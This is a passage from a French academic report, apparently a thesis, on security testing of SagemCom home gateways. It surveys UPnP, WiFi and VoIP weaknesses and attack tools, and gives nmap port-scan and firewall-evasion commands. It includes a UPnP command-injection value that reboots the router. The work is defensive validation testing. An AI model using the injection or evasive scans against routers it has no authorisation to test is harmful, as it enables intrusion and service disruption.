de signatures pour les IDS. Le plus connu des sous-projets est le Metasploit Framework, un outil pour
le développement et l'exécution d'exploits contre une machine distante. Les autres sous-projets
importants sont la base de données d'Opcode 8, l'archive de shellcode, et la recherche dans la sécurité.
1.3.2. Autres types d’attaques

Craquage des mots de passe :
Les attaques dont on va parler dans cette section, sont liées aux consoles d’administration à
distance offert par le TR. Toujours, en se basant sur les résultats des autres scans on peut déterminer
les types de ces consoles (Telnet, SSH). L’attaque la plus connu est l’attaque brute force ou attaque par
dictionnaire pour tenter plusieurs combinaisons de mots de passe.
Plusieurs outils disponibles sont dédies à ces types d’attaque. Parmi eux, on peut citer les plus
connus dans le monde du libre ; Cain & Abel, John the Ripper, Ophcrack et Hydra.
8
Opcode : numéro qui précède chaque instruction afin de déterminer sa nature. (Ex : pour l’architecture x86,
l’Opcode 0x6A correspond à l’instruction PUSH.
Page 33
Attaque DDOS:
Ce sont les attaques qui provoquent l’arrêt total ou partiel d’un service ou d’un système
pendant un certain temps. Le hacker envoi plusieurs paquets TCP sans prendre en considération les
réponses reçues du serveur. Ce dernier, pour chaque requête reçue, il alloue quelques ressources
(Mémoire, Temps processeur, …). Après certain temps, le serveur sera hors service due à la surcharge
des ressources. [35]
2. Module UPnP
2.1. Présentation
Le terme UPnP (Universal Plug and Play) dérivé de Plug and Play ou «on branche et ça
marche» désigne une technologie pour attacher dynamiquement les périphériques à l'ordinateur. De ce
fait, UPnP reprend les concepts de PnP pour les étendre à tout le réseau, facilitant la recherche, la
découverte et la communication entre différents équipements connectés au réseau local.
En effet, cette technologie a été promulguée en 1999 par l’UPnP Consortium, démarré par
Microsoft. Le Forum UPnP comporte au mois de décembre 2009 plus de 894 fournisseurs y compris
des leaders de l‘industrie spécialisés dans le domaine informatique, réseau, systèmes électroniques,
domotique, technologies mobiles, etc.
UPnP est un protocole qui vise à simplifier le déploiement des différents équipements à savoir
les ordinateurs, les équipements électroniques et les équipements mobiles sur le réseau domestique et
assurer leur interopérabilité. Pour ce faire, UPnP utilise TCP/IP et d'autres protocoles IP afin de gérer
des éléments de proximité et exécuter des commandes à distance, etc.
Fonctionnement
Le protocole UPnP comporte six phases fondamentales citées ci-dessous. Ces phases
permettent à un périphérique de s‘intégrer dans le réseau et de communiquer avec les autres
périphériques.
En effet, un périphérique UPnP doit passer tout d‘abord par les phases d‘adressage, de
découverte et de description. Une fois la phase de description achevée, le périphérique UPnP entre
dans les phases de contrôle, de notification et de présentation. Ces trois dernières phases qui sont
indépendantes chronologiquement permettent aux différents équipements UPnP d‘exploiter les
services offerts par les périphériques.
Profile UPnP
Un profil est un ensemble de paramètres et d’actions qui peuvent former un modèle de
fonctionnement cohérent. Les profiles les plus connues sont :
Page 34
 Internet Gateway Device (IGD).

 Audio/Video (A/V), basis for DLNA.
Plusieurs profils UPnP contiennent des sous profils. Chaque sous profil inclut des actions et
attribues. Ci-dessous un graphe qui présente l’hiérarchie des profils les plus utilisés ainsi que les
principales actions dédiées à chacun d’eux. [16]
Figure 15 Principaux profils UPnP et actions
2.2. Risques et vulnérabilités

Les attaques UPnP visent la vulnérabilité du protocole qui n’exige aucune authentification
avant l’exécution de quelques actions. Si l’UPnP est activé, un utilisateur malveillant connecté sur le
réseau peut lancer des commandes malveillantes en utilisant quelques outils simples et à la portée de
tout le monde. (exemple : action « ForceTermination() » du profile « WANIPConnection » coupe la
connexion vers le réseau WAN).
La défaillance majeure est dans l’action « AddPortMapping », plusieurs attaques peuvent être
réalisées en se basant sur cette action, exactement sur l’attribut « NewInternelClient ».
AddPortMapping permet au client UPnP d’ajouter des règles dans le TR afin d’acheminer le
trafic désiré vers une destination qui est souvent l’adresse IP du client. Un utilisateur malveillant peut
l’utiliser afin de réaliser ces attaques :
 Redirection du trafic vers une autre machine sur le réseau : cette approche consiste à rediriger
un trafic indésirable arrivant s ur un port X vers une autre adresse bien spécifique.
Page 35
Figure 16 Redirection vers une autre adresse locale
 Redirection du trafic vers l’adresse local du TR : une telle opération permet à un attaquant de
réaliser des attaques sur les services offert en local par le TR (ex : interface web).
Figure 17 Redirection vers l'adresse locale du TR
Page 36
 Redirection du trafic vers une adresse IP routable (WAN) : cette opération permet de réaliser
des attaques à travers le TR.
Figure 18 Redirection vers une autre adresse WAN
 Une autre attaque possible est l’exécution d’un code Shell sur les TRs basés sur Linux. Au lieu
d’une vraie adresse IP, l’attaquant peut insérer un bout de code dans l’attribue
«AddPortMapping » qui va être exécuté au sein du TR. Cette injection du code est très limitée
et elle ne doit pas dépasser la taille d’une adresse IP (15 caractères). On peut redémarrer le TR
par une action «AddPortMapping» dont l’attribue « NewInternalClient = "‘/sbin/reboot‘" ».
2.3. Outils
Pour tester les services UPnP, il nous faut quelques outils de tests dont on cite :
 Sniffeur UPnP : pour capturer le trafic UPnP sur le réseau.

 Point de contrôle UPnP : pour détecter les périphériques UPnP et utiliser les actions qu’ils
fournissent.
« Intel Tools for UPnP Technologie » est un ensemble complet d’outils dédié pour les systèmes
d’exploitation Windows permettant de tester l’UPnP. Il inclut les outils suivants :
 Intel Device Spy.

 Intel AV Media Controller.
 Intel Device Sniffer.
Page 37
Dans le monde du libre, on trouve un outil similaire à « Intel Tools ». « GUPnP » et « UPnP
Inspector ». Ces outils offrent une interface graphique et assure la découverte des périphériques UPnP
et le test les différentes actions possibles.
3. Module WIFI
3.1. Présentation
Comme il est indiqué dans le premier chapitre, Les TRs SagemCom offrent la possibilité
d’interconnecter les périphériques sans fil via le WIFI. L’émission des ondes radio ne peut pas être
limitée dans un périmètre restreint pour éviter l’interception indésirable des données par un tiers.
Plusieurs techniques et approches sont mises en place pour assurer la protection des
communications entre les différents équipements d’un même réseau :
 Chiffrement des données : les deux techniques connues sont WEP et WPA.
o Le WEP, Wired Equivalent Privacy est un protocole permettant de sécuriser les
réseaux sans fil de type Wifi. Ces réseaux diffusant les messages échangés par ondes
radioélectriques, sont particulièrement sensibles aux écoutes clandestines. Le WEP
tient son nom du fait qu'il devait fournir aux réseaux sans fil une confidentialité
comparable à celle d'un réseau local filaire classique. Cependant, plusieurs
vulnérabilités ont été identifiées dans ce protocole, qui lui rend pratiquement
inutilisable aujourd’hui.
o Le WPA, Wi-Fi Protected Access est un mécanisme permettant aussi de sécuriser les
réseaux sans fil de type Wifi. Il a été créé en réponse aux nombreuses et sévères
faiblesses que des chercheurs ont trouvées dans le mécanisme précédent, le WEP. Il
présente deux modes à savoir :
 WPA personnel (WPA-Personal) : connu également sous le nom de mode à
secret partagé ou WPA-PSK (Pre-shared key). Chaque équipement du réseau
sans fil s'authentifie auprès du point d'accès en utilisant la même clé sur 256
bits.
 WPA entreprise (WPA-Enterprise) : connu également sous le nom de mode
WPA-802.1X ou WPA-EAP, WPA entreprise est conçu pour les réseaux
d'entreprise et demande à ce que l'on utilise un serveur d'authentification
RADIUS.
 Filtrage MAC : cette méthode peut être combinée avec le chiffrement des données transmises
afin d’ajouter un niveau de sécurité définissant la liste des équipements autorisés par adresse
MAC.
Page 38
 Autre méthodes et pratiques comme le changement des paramètres par défaut, (exemple : clé
wifi fournit par défaut de fournisseur, l’adresse réseau par défaut, …)

Les risques liés à la mauvaise sécurisation des réseaux sans fil sont [17]:
 L'interception de données qui consiste à écouter les transmissions des différents utilisateurs du
réseau sans fil.
 Le détournement de connexion qui a comme but l’obtention d'accès à un réseau local ou à
internet.
 Le brouillage des transmissions qui consiste à émettre des signaux radio de telle manière à
produire des interférences.
 Les dénis de service qui rend le réseau inutilisable en envoyant des commandes factices.
Craquage de clé chiffrement

Plusieurs méthodes peuvent être utiles pour effectuer cette attaque. Avec un réseau sans fil
protégé par une clé WEP, un utilisateur peut le craquer facilement puisque le cryptage WEP utilise le
chiffrement « RC49 » et le vecteur d’initialisation « IV » qui est transmit en claire sur le réseau. Ces
deux composants rendent le protocole WEP sensible à une attaque par clé apparentée 10. La durée de
cette attaque varie en fonction du taux des données transférées.
Pour le WPA/WPA2 ce type d’attaque est presque impossible. Dans le mode « Pre Shared
Key » (WPA/WPA2 Personnel), la phrase de chiffrement peut contenir de 8 à 63 caractères ASCII. En
plus de ça le WPA utilise le protocole de chiffrement TKIP11 qui sert à changer la clé de chiffrement
dynamiquement (WPA2 utilise CCMP12). Pour craquer la clé, il faut utiliser une attaque dictionnaire.
Le sniffer doit détecter la phase d’authentification d’un client (the Four-Way Handshake13). Si la vraie
clé n’existe pas dans le dictionnaire, il est impossible de la craquer.
9
RC4 : RC4 est un algorithme de chiffrement à flot conçu en 1987 par Ronald Rivest, l'un des inventeurs du
RSA, pour les Laboratoires RSA. Il est supporté par différentes normes, par exemple dans SSL ou encore WEP.
10
Attaque par clé apparentée : Une attaque par clé apparentée est une forme de cryptanalyse où l'adversaire
peut observer les opérations d'un algorithme de chiffrement lorsqu'il est utilisé avec différentes clés, aux valeurs
inconnues, mais qui sont liées entre elles par des propriétés mathématiques connues de l'attaquant.
11
TKIP : (Temporal Key Integrity Protocol) est un protocole de communication utilisé pour la protection et
l'authentification des données transitant sur un réseau Wifi.
12
CCMP : (Counter-Mode/CBC-Mac protocol) est une méthode de chiffrement définie dans le standard IEEE
802.11i.
13
Four-Way Handshake : Phase d’authentification dans le WPA2, elle consiste à la dérivation et à l'échange
des clefs unicast/multicast à partir de la clef PMK (Pairwise Master Key).
Page 39
Autre attaque
Les clés WIFI par défaut sont générées par le constructeur. Elles sont généralement générées à
partir du SSID et l’adresse MAC du TR. Certain pirate informatique ont réussit à déterminer
l’algorithme pour générer la clé.
3.3. Outils
Il existe une gamme d’outils complète pour tester la sécurité du réseau WIFI. Aircrack propose
un ensemble d’outils permettant principalement l’audit de la sécurité du WIFI ainsi que plein d’autres
fonctionnalités comme l’injection des paquets, snif du réseau, craquage de clés de chiffrement, etc. La
suite AirCrack-NG contient les outils suivants :
 aircrack-ng : casseur de clés WEP statiques et WPA-PSK (Nouveau type de casseur: PTW14)
 airdecap-ng : décrypteur de fichiers WEP/WPA capturés
 airdriver-ng : permet de patcher les drivers, par exemple pour le cas du rtl8187 15, qui est utile
pour faire l'injection de paquet
 aireplay-ng : programme d'injection de paquets 802.11 (disponible sous Linux et FreeBSD
seulement)
 airmon-ng : permet d'activer/désactiver le mode moniteur d'une carte wifi. Avec ce mode la
carte wifi se place en "observateur" du réseau.
 airodump-ng : programme de capture de paquets 802.11.
 airolib-ng : utile pour le bruteforce de clef WPA. Il permet de créer une base de données
contenant vos fichiers dictionnaire pour un ou plusieurs SSID. Le crack est très rapide avec
cette méthode, cependant la création de la base de données est couteuse en terme de temps.
 airserv-ng : permet de lancer une machine avec une interface en mode moniteur, et l'utiliser
depuis une autre machine avec la suite aircrack-ng, en spécifiant l'adresse IP et le port.
 airtun-ng : programme pour la création d'une interface virtuelle.
 easside-ng : permet de communiquer à un point d'accès en WEP sans connaître la clé.
 packetforge-ng : permet de forger des paquets ARP, UDP, ICMP ou personnalisés.
 wesside-ng : Crack automatiquement une clef WEP en essayant toutes les attaques.
14
PTW : Amélioration de l’ancienne méthode de craquage de clé WEP, développé par Aircrack.
15
rtl8187 : Pilotes pour les cartes réseaux Wifi sous Linux.
Page 40
4. Module VoIP
4.1. Présentation
La Voix sur IP ou téléphonie IP permet la transmission de la voix dans le réseau IP. Par VoIP,
nous désignons aussi téléphonie par Internet. Parmi ses mécanismes on peut distinguer deux catégories
 Systèmes fermés / propriétaires

 Systèmes ouverts / libres.
Dans la première catégorie, nous trouvons par exemple le logiciel de la téléphonie applicative
Skype ou Messenger. La seconde catégorie englobe les protocoles ouverts basés sur SIP, H.323 et
IAX2.
Avec la voix sur IP, les appels téléphoniques sont effectués par l‘intermédiaire de la connexion
Internet. Pour ce faire, cette technologie convertit les signaux analogiques de la voix en signaux
numériques; elle les découpe, les compresse, les code, les numérise, puis envoie ces «paquets » dans le
réseau internet.
La course à la réduction des coûts d’une entreprise implique bien souvent la migration du
service de téléphonie vers la Voix sur IP. Ce choix séduit par le retour sur investissements des
communications. Cependant de nombreux paramètres sont bien souvent oubliés ou ignorés. Avant de
franchir le pas, il est nécessaire d’étudier les nouvelles contraintes engendrées. Mis à part la surcharge
du réseau de l’entreprise et la migration de nombreux équipements, la confidentialité des
communications et l’efficacité des plans de secours sont remis en cause. La convergence numérique va
introduire de nouveaux services et par conséquent, de nouvelles vulnérabilités et de nouveaux
vecteurs d’attaques. [18]
4.2. Protocole VoIP

Avec l’évolution du VoIP, plusieurs protocoles et standards ont apparu. Il y a deux types de
protocoles :
 Protocoles de signalisations :
 Protocoles de transmission de voix :
Dans ce qui suit on va présenter le protocole SIP qui est utilisé par les TRs SagemCom. SIP est un
protocole de signalisation appartenant à la couche application du modèle OSI. Son rôle est d'ouvrir,
modifier et libérer les sessions. L'ouverture de ces sessions permet de réaliser de l'audio ou
vidéoconférence, de l'enseignement à distance, de la voix (téléphonie) et de la diffusion multimédia
sur IP essentiellement. [19]
Page 41
Le protocole SIP utilise le port 5060 TCP ou UDP pour la signalisation et le port 5061 TCP ou
UDP pour la signalisation crypté de la voix.
Le SIP intervient dans les différentes phases de communication entre deux entités :
 Localisation du terminal correspondant.

 Analyse du profil et des ressources du destinataire.
 Négociation du type de média (voix, vidéo, données...) et des paramètres de communication,
 Disponibilité du correspondant, détermine si le poste appelé souhaite communiquer, et
autorise l'appelant à le contacter.
 Etablissement et suivi de l'appel, avertit les parties appelant et appelé de la demande
d'ouverture de session, gestion du transfert et de la fermeture des appels.
 Gestion de fonctions évoluées : cryptage, retour d'erreurs, ...
Les communications SIP se font à l’intermédiaire des requêtes, à chaque requête reçue une
réponse est envoyée caractérisée par un code et un motif. Ci-dessous un tableau descriptif des
différentes requêtes et réponses.
Requêtes Description
Cancel Annulation d'une requête en cours.
Register Méthode d'enregistrement permettant à un agent (UA-User Agent) de communiquer son
adresse IP et l'URL où le joindre.
Ack Méthode servant à accuser la réception d'autres requêtes.
Invite Méthode utilisée pour établir des sessions de communication entre agents.
Bye Terminaison d'une session de communication entre agents.
Options Requête permettant d'obtenir les informations relatives aux capacités d'un
correspondant, sans pour autant établir d'appel.
Notify Requête de notification d'un évènement consécutif à une requête d'abonnement
Refer Requête de redirection d'un appel vers un autre agent
Prack Requête de sécurisation des réponses provisoires
Info Requête d'information sur la session en cours
Message Requête d'envoi de messages instantanés
Subscribe Requête d'abonnement aux évènements d'un autre agent identifié par son URI
Update Requête de modification d'une session en cours d'établissement
Tableau 7 Requêtes SIP
Réponses Description
Provisional (1xx) Requêtes reçues et en cours de traitement
Success (2xx) La requête a été bien reçue, comprise et acceptée
Redirection (3xx) D'autres actions sont nécessaires (par le demandeur) pour mener à bien la
requête
Client Error (4xx) La requête comprend des erreurs et ne peut être traitée en l'état
Server Error (5xx) Le serveur a échoué dans le traitement d'une requête à priori valide
Global Failure (6xx) La requête ne peut pas être traitée par aucun serveur
Tableau 8 Codes de réponses SIP
Page 42
Syntaxe SIP :
Similaire au http, le protocole SIP utilise le mode requête/réponse. Il indique la méthode suivie de
l’identifient (URI). La fin de la ligne est réservée à la version du SIP.
INVITE sip:201@192.168.1.104 SIP/2.0

Via: SIP/2.0/UDP 192.168.1.102;rport;branch=z9hG4bKvbxaoqar
Max-Forwards: 70
To: 201@192.168.1.104
Appel entre deux entitéss :

 l’appelant envoie une requête
INVITE.
 L’appelé retourne une réponse
TRYING-100.
 L’appelé retourne une réponse
RINGRING-180 pour la tonalité.
 L’appelé retourne une réponse OK-
200.
 L’appelant envoi une réponse ACK
et la conversation commence.
(RTP16 DATA)
 Quand l’appelant accroche le
téléphone une requête BYE est
envoyée.
 L’appelé retourne une réponse OK. Figure 19 Exemple d'appel

Malgré les avantages du VoIP, la migration vers une telle technologie a des inconvénients
majeurs. L’utilisation de cette technologie sur le réseau présente des risques majeurs qui touchent à
plusieurs axes [20].
Attaque physique
L’implémentation da la norme 802.3af17 ne présente pas que d’avantage car l’exposition des
équipements à la porté des utilisateurs malveillants ou à leur interface d’administration peuvent
16
RTP : Real-Time Transport Protocol, est un protocole de communication informatique se positionnant au
niveau 4 (Couche transport) du Modèle OSI. RTP utilisé avantageusement sur un réseau temps réel.
17
802.3af : Le Power over Ethernet (ou norme IEEE 802.3af) permet de faire passer une tension de 48 V (jusqu'à
12 W de puissance voire plus) en plus des données à 100 Mbit/s ou 1 Gbit/s.
Page 43
provoquer des dégâts énormes qui peuvent aller d’un simple déni de service via la coupure
d’alimentation jusqu’à la dégradation de la qualité de service pour tous les équipements.
Attaque réseau
Le réseau VoIP utilise la même infrastructure que le réseau DATA, ce qui lui rend exposé aux
mêmes problèmes. Ci-dessous, on cite quelque risque :
 Malgré que la téléphonie ne nécessite qu’une bande passante réduite, elle requiert un débit
constant. Ce qui lui rend sensible à des attaques de type déni de service ou de congestion du
réseau. Ces types d’attaques peuvent être réalisés en forgeant des paquets malicieux dans le
réseau.
 L’écoute passive du réseau qui peut être un point critique car elle touche à la confidentialité
des communications. Cette attaque permet à un pirate de récupérer des informations
confidentielles (par exemple numéro du compte bancaire).
 Il y a d’autres attaques sur les protocoles VoIP. Comme le spoofing SIP qui sert à usurper
l’identité d’un utilisateur afin de réaliser des appels gratuits ou envoyer des messages bien
spécifiques pour perturber les communications établies.
Attaque applicative
Les risques peuvent dépasser le périmètre du réseau pour toucher l’aspect applicatif. Les
logiciels utilisés pour le VoIP peuvent être une cible pour les pirates afin de gagner l’accès au serveur
qu’il les héberge.
4.4. Outils
Vu que le VoIP est la tendance actuelle dans le monde de la téléphonie, plusieurs
organisations se sont occupées de la sécurité de ce type de service. On cite par exemple VOIPSA
(Voice over IP Security Alliance) qui essaye de remplir le vide dans ce domaine. Une étude a été
effectuée par VOIPSA dans le but de dégager une liste complète des outils nécessaires pour tester la
sécurité du VoIP. Dans ce qui suit on va citer quelques outils classifié par catégorie :
 Sniffing tools : cette catégorie inclut les outils qui servent à capturer et analyser le trafic afin
de déterminer les conversations VoIP actives sur le réseau. (Wireshark, PSIPDump, VoIPong,
UCSniff, rtpBreak, etc)
 Scanning and Enumeration tools : cette catégorie inclut les outils nécessaires pour déterminer
l’exsitance du service VoIP, numéro du port, liste des login et utilisateurs, … (Nessus, nmap,
enumIAX, iaxscan, SIPSCAN, SCTPScan, etc)
 Flooding tools : cette catégorie inclut les générateurs des paquets et du trafic afin du perturber
les connexions actives et empecher les nouvelles demandes de connexion. (IAXFlooder,
INVITEFlooder, kphone-ddos, RTP Flooder, Scapy, etc)
Page 44
 Fuzzing tools : cette catégorie inclut les outils qui servent à générer des paquets VoIP (SIP ou
autre protocole) malformés pour tester le service VoIP (Fuzzy packet, InterState Fuzzer,
Protos, Sip Proxy, VoIPer, etc)
 Signaling attacking tools : cette catégorie inclut les outils qui permettent de manipuler la
signalisation entre deux entités ; toutes les attaques liés aux protocoles de signalisation. (Bye
Teardown, VoIPHopper, vnak, etc)
 Media attacking tools : cette catégorie inclut les outils qui permettent de manipuler la les
données transférées lors d’une communication entre deux entités ; toutes les attaques liés aux
protocoles de media (transfert de la voix, etc. (RTP InsertSound, RTPInject, SteganRTP, etc)
La plupart des outils cités ci-dessus sont présents dans Backtrack.
Conclusion
Dans ce troisième chapitre, pilier central de notre étude, on a pu présenter les différents
modules du TR, les risques qui peuvent les menacer et les outils possibles pour tester leur sécurité.
Cette approche modulaire, entre dans le cadre de la stratégie adoptée afin de couvrir convenablement
la question de la sécurité des passerelles résidentielles ; approche, qui nous permettra, en plus
d’effectuer des tests de pénétration modulaires, de pouvoir bénéficier de la possibilité de réutiliser
certains concepts issus d’un module sur un autre.
Le chapitre suivant, explicitera alors, les attaques qu’on va réaliser et les scénarios qu’on va
adopter pour dégager le plan de test final essentiel à la mise à l’épreuve sécuritaire des passerelles.
Page 45
Chapitre 4 Mise en place d’une solution de tests de sécurité des TRs
Maintenant que nous avons présenté les différents modules d’un terminal SagemCom, en
spécifiant les risques et les défaillances qui peuvent le menacer, il ne reste qu’à mettre en place une
plateforme de tests ainsi qu’un plan de tests pour couvrir les scénarios envisageables et toucher à
toutes les fonctionnalités de la passerelle (accès réseau, WiFi, UPnP, VoIP, IHM, etc).
Dans ce chapitre, nous commencerons par la présentation de l’environnement de test ; OS,

architecture, équipements, etc. Ensuite, nous allons suivre la démarche modulaire, établie au chapitre
précédent, pour définir et mettre en place les scénarios de tests de sécurité possibles pour chaque
module étudié. Nous terminerons par un tableau récapitulatif des différents cas de tests mis en œuvre
(Voir Annexe 1 et Annexe 2).
Page 46
1. Environnement de test
1.1. Environnement matériel

Avant d’entamer les tests, il faut d’abord préparer la plateforme nécessaire. Dans l’ensemble
des tests nous avons besoin de ces équipements:
 Des PCs.
o Pour certains tests de stress on a besoin de plus qu’une machine.
o Pour certains outils qui nécessitent une configuration matérielle précise.
 Un TR SagemCom fonctionnel sur lequel les services à tester doivent être activés.
 Des téléphones IP.
 Cartes réseaux Wifi.
 Connexion et accès WAN et LAN.
Dans les tests à réaliser nous avons besoin de différents systèmes d’exploitation. Il existe certains
outils qui nécessitent un système bien défini18 (Linux, Windows, etc).
1.2. Environnement logiciel
1.2.1. Les systèmes d’exploitation dédiés sécurité

Sur le marché on trouve plusieurs systèmes d’exploitations orientés sécurité, ils servent à
regrouper le plus grand nombre d’outils de sécurité dans un seul système pour simplifier la tâche des
experts sécurité et leurs faire gagner du temps dans l’installation et la configuration des outils.
La plupart de ces systèmes sont des distributions Linux personnalisées. Ci-dessous, la liste des
distributions les plus connues :
 Matriux
 BlackUbuntu
 Ubuntutrinux
 Vacarm Linux
 Samurai Web Testing Framework
 BackTrack
La plupart de ces distributions se ressemblent (sauf pour Samurai spécialisé dans la sécurité
des applications web).
18
On peut utiliser des applications Windows sur un système linux et vice-versa avec l’utilisation des logiciels
comme Wine sur Linux et CygWin sur Windows.
Page 47
1.2.2. Choix du système d’exploitation le plus adéquat

Le seul critère de choix est la popularité et le nombre d’utilisateurs dans le monde. Les
développeurs de BackTrack ont réussi à faire de cette distribution la plus connue dans le domaine du
pentesting à l’aide de la communauté (anglaise, française, italienne, allemande, espagnole et
brésilienne) et la mise en place de plusieurs certifications dans les différents domaine de la sécurité
informatique en se basant sur leur produit 19.
Dans ce qui suit, nous présentons la distribution linux « BackTrack » et l’architecture réseau
de la plateforme de test.
Figure 20 Logo BackTrack
BackTrack est une distribution linux orientée sécurité, son but est de regrouper les outils
nécessaires et utiles pour tester la sécurité d’un système réseau. Basé sur Slackware jusqu’à la version
3 et Ubuntu dans les versions ultérieures et margé sa richesse en terme d’outils, BackTrack offre un
environnement très extensible et personnalisable ; installation de nos propres outils si nécessaire,
l’ajout d’autre outils, configuration et personnalisation des outils, etc.
La version actuelle de BackTrack est « BackTrack 5 R1 » sortie le 11 août 2011 et basée sur
« Ubuntu 10.04 ».
Les outils de tests sont classés par catégorie (Voir figure 21); collecte d’informations,
évaluation des vulnérabilités, outils d’exploitation, investigations, etc. Sous chaque catégorie, les
outils sont classés par le type des cibles (architecture réseau, système, base de données, serveur web,
applications, etc) [21].
19
Offensive Security offre plusieurs certifications OSCP (Offensive Security Certified Professional), OSCE
(Offensive Security Certified Expert) et OSWP (Offensive Security Wireless Professional).
Page 48
Figure 21 Menu BackTrack
1.3. Architecture réseau de la plateforme de tests

L’architecture réseau de la plateforme de test en général est composée d’un client WIFI (PC
équipé d’un dongle WIFI), un TR et un téléphone IP. Pour la connectivité, nous avons besoin d’une
connexion internet afin de réaliser des tests depuis le LAN et le WAN.
Figure 22 Architecture réseau de la plateforme de test
Page 49
L’architecture présentée ci-dessus est très générique. Certains scénarios nécessitent une
architecture bien précise tels que :
- Dans le cas des tests de stress, nous avons généralement besoin de plusieurs PCs.
- Dans le cas des tests VoIP, nous avons besoin d’une communication active entre deux
téléphones IP.
Dans ce qui suit, nous définissons les différents tests possibles à réaliser en suivant la même
démarche du chapitre précédent. Pour chaque module étudié nous commençons par la définition des
différents tests possibles à réaliser. Par la suite, chaque test sera accompagné d’une description de son
objectif, des outils nécessaires et des étapes de son déroulement.
2. Module réseau
2.1. Scan des ports, services et OS

Dans le chapitre précédent, nous avons parlé des différents types de scan des ports et nous
avons listé quelques outils nécessaires pour le déroulement des tests. Ci-dessous la liste des tests à
réaliser pour ce sous module :
 Test1 : scan des ports (connaitre l’état des ports)

 Test2 : scan des services (connaitre les noms de services et leur versions)
 Test3 : détection d’OS (détecter le système d’exploitations des TRs)
2.1.1. Outils de tests

L’outil le plus adéquat dans notre cas est « Nmap ». Ce dernier permet la réalisation des
différents types de scan des ports et assure la détection de services et d’OS. Un autre avantage du
nmap est la possibilité de créer des scripts personnalisés afin d’automatiser des tâches, par exemple
script de détection et exploitation des vulnérabilités, découverte du réseau, amélioration de la
détection des versions, etc.
Afin de simplifier la tâche et de fournir des résultats clairs, nous utilisons « Zenmap »,
l’interface graphique du « nmap ». Il fournit plusieurs profils prédéfinis de scan où chaque profil est
caractérisé par une commande nmap et une suite d’options permettant la réalisation d’un type de scan
spécifique. Sinon il est possible de créer un nouveau profil (Voir figure 23).
Page 50
Figure 23 Profil Zenmap
2.1.2. Tests réalisés

Test1 : scan des ports
Vu le grand nombre des services et de fonctionnalités offertes par les TRs SagemCom, un
grand nombre de ports doit être ouvert pour assurer le bon fonctionnement de ces services. Le test a
pour but de:
 Vérifier si la spécification du client est bien respectée ou pas. Certains clients demandent une
configuration bien précise concernant l’ouverture et la fermeture de ports.
 Vérifier si les ports ouverts pour des besoins lors de la validation du produit sont de nouveau
fermés ou non.
 Déterminer les ports ouverts pour la phase « collecte d’information » du pentesting.
 Déterminer l’état du pare-feu et son fonctionnement.
Dans la partie suivante, nous présentons les différents scénarios et scans [12].
Scénario 1 : TCP Scan

Ce type de scan est à éviter car il est facilement détectable par le pare-feu s’il existe et laisse
une trace dans les logs du TR. Vu que nous somme dans la phase de test et validation, il faut bien
vérifier que le firewall est bien configuré. Avec nmap il faut utiliser la commande suivante :
nmap -p 1-65535 -sT -T4 -v 192.168.1.1
 -p : les ports à scanner.

 -T4 : vitesse de scan [22].
 -v : mode verbeuse qui affiche en temps réel l’exécution de scan et génère plus d’information.
Page 51
Remarque :
 Nous pouvons choisir un ou plusieurs ports mais dans notre cas il est préférable de tester tous
les ports car le TR peut utiliser des ports non standards pour certains services bien spécifiques.
 Sous nmap plusieurs options entrent en jeu dans la configuration de la vitesse du scan
(exemple : --max-rtt-timeout --initial-rtt-timeout --max-retries), l’option -T simplifie cette
tâche en offrant plusieurs mode de scan. L’option « -Tx » avec x peut varier de 0 à 5 :
o Paranoid (0) : Envoi d'un paquet toutes les 5 minutes.
o Sneaky (1) : Envoi d'un paquet toutes les 15 secondes.
o Polite (2) : Envoi d'un paquet toutes les 0.4 secondes.
o Normal (3) : Niveau par défaut. Optimise la durée du scan en en minimisant sa durée
sans perte de paquet.
o Aggressive (4) : Attente d'une réponse pendant un maximum de 1.25 secondes au
maximum.
o Insane (5) : Attente d'une réponse pendant un maximum de 0.3 secondes.
Scénario 2 : Syn Scan

Connu aussi par le nom de « stealth Scan », ce scénario a pour but principal de déterminer
l’état des ports dans la cible. Le but de ce scénario est de lister les ports ouverts.
nmap -p 1-65535 -sS -T4 -v 192.168.1.1
 -sS : Syn scan

Remarque :
 Le Syn Scan est caractérisé par sa vitesse puisqu’il peut balayer des milliers de ports par
seconde.
Scénario 3 : UDP Scan
Les deux autres scans sont destinés pour vérifier l’état des ports en mode TCP, l’UDP est
nécessaires pour savoir s’il y a des services qui utilisent le protocole UDP.
nmap -p 1-65535 -sU -T4 -v 192.168.1.1
 sU : UDP Scan.
Remarque
 le scan UDP est très lent par rapport au SYN Scan. Pour un réseau local il peut dépasser les
deux heures.
Si les scans listés ci-dessus n’aboutissent pas à des résultats clairs, autrement dit le pare-feu utilisé par
les TRs SagemCom résiste à ces types des scans, nous pouvons alors penser à utiliser autre type de
scan pour vérifier si le port en question est filtré ou pas comme :
Page 52
 ACK Scan :
nmap -p 1-65535 -sA -T4 -v 192.168.1.1
 X-mas Scan :
nmap -p 1-65535 -sX -T4 -v 192.168.1.1
 FIN Scan :
nmap -p 1-65535 -sF -T4 -v 192.168.1.1
 Null Scan :
nmap -p 1-65535 -sN -T4 -v 192.168.1.1
Remarque :
 Dans les manipulations réalisées, nous choisissons de faire les scans sur tous les ports afin de
déterminer :
o Si un ou plusieurs ports sont ouverts sans besoin.
o Si un service ou plusieurs services connus tournent sur un port non standard.
 Nous pouvons minimiser le temps de scan en spécifiant les numéros des ports à scanner, ce
type du scénario est conseillé pour le UDP Scan vu qu’il est le plus lent des scans. Nous
pouvons fixer les numéros des ports ou utiliser Nmap par défaut 20.
nmap -p 20,21,53,67,80,443 -sS -T4 -v 192.168.1.1
Scénario 4 : technique d’évasion

Nous pouvons utiliser plusieurs techniques d’évasions dont nous citons quelques une :
 Utilisation des ports source autorisés car certains pare-feu bloquent les requêtes à partir des
ports non autorisés:
nmap -g 20 -p 20,21 -sS -T4 -v 192.168.1.1
-g : le numéro du port source (exemple : 5060 pour le protocole SIP)
 Fragmentation des paquets 21:

nmap -g 20 -f 5 -p 20,21 -sS -T4 -v 192.168.1.1
-f : définir le nombre de fragments à envoyer. Nous pouvons utiliser l’option « --mtu » pour définir le
taille des paquets.
20
Nmap scan 1000 ports des services les plus connues si les ports destination ne sont pas spécifiés.
21
Certain pare-feu et système de détection d’intrusion (IDS) ne peuvent pas détecter les paquets fragmentés
Page 53
Présentation des résultats du scan

Zenmap présente les résultats de scan d’une façon claire en mettant en évidence les
informations importantes (Voir figure 25).
Figure 24 Résultat d’un simple scan des ports et services
Test2 : scan des services

En se basant sur les résultats du premier test, nous essayons de déterminer le nom et la version
des services tournant sur le TR. Comme prévu, il existe certains service qui tournent sur un port non
standard. Avec Nmap, nous lançons cette commande :
nmap -p 20,21 -sV -v 192.168.1.1
 -sV : Détection des services.

Remarque :
